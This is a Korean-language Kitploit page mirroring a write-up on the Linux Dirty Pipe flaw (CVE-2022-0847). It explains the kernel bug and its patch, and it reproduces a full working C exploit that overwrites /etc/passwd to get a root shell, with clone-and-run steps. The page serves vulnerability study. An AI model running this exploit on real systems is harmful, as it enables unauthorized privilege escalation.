Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-0847-DirtyPipe — CVE-2022-0847(DirtyPipe)에 대한 심층 분석 및 개념 증명 익스플로잇으로, 초기화되지 않은 파이프 버퍼 플래그를 통해 임의 파일 덮어쓰기 및 로컬 권한 상승을 가능하게 하는 Linux 커널 취약점입니다. | Kitploit
도구/GitHubGitHub/greetdawn/cve-2022-0847-dirtypipe
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubgreetdawn/cve-2022-0847-dirtypipe

CVE-2022-0847-DirtyPipe

CVE-2022-0847(DirtyPipe)에 대한 심층 분석 및 개념 증명 익스플로잇으로, 초기화되지 않은 파이프 버퍼 플래그를 통해 임의 파일 덮어쓰기 및 로컬 권한 상승을 가능하게 하는 Linux 커널 취약점입니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
14년 전아직 검토되지 않음

title: CVE-2022-0847(DirtyPipe 로컬 권한 상승) 취약점 분석 date: 2022-03-08 14:41:20 tags: - Linux 권한 상승 categories: - 보안 연구


취약점 설명

​ CVE-2022-0847은 5.8 이후 Linux 커널의 취약점으로, 공격자는 이 취약점을 이용하여 임의의 읽기 전용 파일에 있는 데이터를 덮어쓸 수 있습니다. 이를 통해 일반 권한을 root 권한으로 상승시킬 수 있는데, 비특권 프로세스가 루트 프로세스에 코드를 주입할 수 있기 때문입니다.

​ CVE-2022-0847은 CVE-2016-5195 “Dirty Cow”(더티 카우 권한 상승)와 유사하며 쉽게 악용될 수 있어, 취약점 작성자는 이를 Dirty Pipe라고 명명했습니다.

보안 고지

본 블로그는 주로 보안 사건 및 취약점 관련 글을 학습하고 기록하기 위한 것으로, 학습 교류 및 테스트 용도로 제공됩니다. 본 블로그 글에서 제공하는 정보나 도구를 전파, 이용하여 발생하는 직간접적인 결과나 손해는 모두 사용자 본인의 책임이며, 글 작성자는 이에 대해 어떠한 책임도 지지 않습니다.

영향 범위

위험 등급: 높음

POC/EXP: 공개됨

영향 버전: linux 커널 5.8 및 이후 버전

참고: 안전 버전 Linux 커널 >= 5.16.11, Linux 커널 >= 5.15.25, Linux 커널 >= 5.10.102

취약점 분석

여기서 취약점 세부 사항을 간단히 소개합니다.

몇 가지 개념:

Linux pipe: 반이중, 데이터 흐름은 한쪽 끝에서 다른 쪽 끝으로만 가능

pipe_buffer: 파이프 캐시, 파이프에 쓰여진 데이터를 임시 저장하며 읽기/쓰기 모두 파이프 캐시에서 수행됨

page: 페이지 프레임, 4kb, 파이프 캐시와 일대일 관계

pipe_buf_operations: 파이프 캐시 작업 집합을 저장하는 데 사용

can_merge: 병합 플래그. 일반 파이프 읽기/쓰기가 기존 버퍼에 데이터를 병합할 수 있으면 1로 설정됩니다. 0으로 설정되면 새 파이프 페이지 세그먼트는 항상 새 데이터에 사용됩니다.

splice(): 두 파일 디스크립터 간에 데이터를 이동하며, sendfile() 함수와 동일하게 파이프를 지원하고 제로 카피입니다. 파일의 페이지 캐시와 파이프 캐시를 바인딩하여 쓰기 시 동시에 영향을 미치며, 권한 검사 시 데이터 소스 파일에 읽기 권한이 있는지만 확인하고 쓸 때는 권한 검사가 없습니다. 대략적인 호출 체인은 다음과 같습니다:

root@kitploit:~
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
root@kitploit:~
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
root@kitploit:~
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

image-20220310151242149

Linux 파이프 "병합" 감지 발전 역사:

여기서는 작성자의 설명에 따라 코드를 간단히 분석합니다.

  1. 초기 Linux 시스템은 개념 소개와 동일하게 can_merge 플래그가 있으며, 새 데이터가 현재 존재하는 파이프 캐시에 기록될 수 있는지 표시하는 데 사용됩니다.

  2. Commit 5274f052e7b3가 splice() 함수를 추가했지만 검증은 변경되지 않았으며, 여전히 can_merge 플래그에 따라 현재 파이프 캐시를 사용할 수 있는지 판단합니다.

    image-20220310130856202

    image-20220310130701741

  3. Commit 01e7187b4119는 can_merge 플래그 사용을 중단하고 struct pipe_buf_operations 포인터를 비교합니다. 즉, anon_pipe_buf_ops 유형만 새 데이터 쓰기를 허용하므로 해당 유형인지 확인하기만 하면 됩니다.

    image-20220310133214287

    image-20220310133251831

  4. Commit 241699cd72a8는 두 개의 새 함수를 추가했으며, 새로운 struct pipe_buf_operations를 할당할 수 있지만 해당 flags 표시를 초기화하지 않습니다.

    image-20220310155046455

  5. Commit f6dd975583bd는 이 포인터 비교를 각 버퍼 플래그 PIPE_BUF_FLAG_CAN_MERGE 비교로 변환하고 PIPE_BUF_FLAG_CAN_MERGE를 주입할 수 있게 했으며, 동시에 다른 유형의 buf_ops 정의와 사용을 제거했습니다.

    image-20220310134233873

따라서 작성자는 다음과 같은 이용 방안을 제시합니다.

  1. 파이프 생성
  2. pipe_buffer의 PIPE_BUF_FLAG_CAN_MERGE 플래그 설정
  3. 파이프를 비우고 대상 앞의 데이터를 파이프에 연결합니다. 이때 splice는 파이프 캐시와 페이지 캐시를 바인딩합니다.
  4. 파이프에 임의로 데이터를 씁니다. 이때 write는 최종적으로 copy_page_from_iter()를 호출해 쓰기를 수행하며, PIPE_BUF_FLAG_CAN_MERGE 플래그 때문에 직접 쓰기가 완료됩니다.

Exp 분석

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();										// 创建p[0]和p[1]分别指向管道两端。前者读,后者写

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    	    // 获取管道大小
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;      // 填充管道,顺便设置PIPE_BUF_FLAG_CAN_MERGE
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {						// 清空管道,但是保留标志位
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main() {
	const char *const path = "/etc/passwd";								// 定义目标文件路径

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");         // 创建/tmp/passwd.bak备份
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {											   // 判断文件读写是否正常打开
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)								    // 逐字节写入
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"                                // 定义偏移,即覆盖目标位置为root字段之后
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 													 // 定义覆盖的数据
        printf("Setting root password to \"aaron\"...\n");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {									  // 判断写入位置是否在页边界上
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;			// 定义当前页面结尾
	const loff_t end_offset = offset + (loff_t)data_size;				// 定义覆盖数据的结尾
	if (end_offset > next_page) {									  // 判断覆盖是否跨页
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)			// 打开只读目标文件
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;													// 定义st保存目标文件信息
	if (fstat(fd, &st)) {											 // 获取目标文件状态
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {										 // 判断偏移是否大于文件字节数
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {								      // 判断覆盖结尾是否大于文件字节数
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);                                                 // 创建管道,标志位设置为PIPE_BUF_FLAG_CAN_MERGE

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;													// 定位到偏移前1字节
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);          // 将该字节进行拼接发送到管道
	if (nbytes < 0) {											 // 判断是否移动成功,-1表示失败
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {											 // 0表示没有数据可以移动
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);						  // 覆盖数据写入管道
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);										// 开启root下shell

        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}

취약점 이용

현재 kali 가상 머신을 데모 시스템으로 사용하여 이용합니다.

대상 시스템 요구 사항은 gcc가 있으면 됩니다.

  • 현재 시스템 커널 버전 확인
root@kitploit:~
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
  • exp 가져오기
root@kitploit:~
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
  • 이용 실행
root@kitploit:~
./compile.sh	# gcc编译

./exploit	    # 执行exp返回如下error信息
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(

su root 
密码: aaron 

登录后极为root权限
  • passwd 파일 복원
root@kitploit:~
mv /tmp/passwd.bak /etc/passwd

취약점 수정

먼저 merge 속성 설정을 수정합니다.

image-20220310160200916

다음으로 flags 초기화 설정을 추가합니다.

image-20220310160536267

image-20220310160703429

편집자 주

여기서 Psyduck 님께 귀중한 시간을 내어 취약점 공개자의 exp를 기반으로 원리를 분석하고 정리해 주신 것에 깊은 감사를 드립니다. 님은 로컬에서도 하위 레벨 기반으로 관련 디버깅을 수행했지만 아직 뚜렷한 데이터 호출 체인은 없으며, 현재 계속 깊이 연구 중이라고 하셨습니다.

참고 링크

  • https://dirtypipe.cm4all.com/
  • https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

보안 고지

본 블로그는 주로 보안 사건 및 취약점 관련 글을 학습하고 기록하기 위한 것으로, 학습 교류 및 테스트 용도로 제공됩니다. 본 블로그 글에서 제공하는 정보나 도구를 전파, 이용하여 발생하는 직간접적인 결과나 손해는 모두 사용자 본인의 책임이며, 글 작성자는 이에 대해 어떠한 책임도 지지 않습니다.

도구 다운로드

image-20220310134337376

image-20220310142420972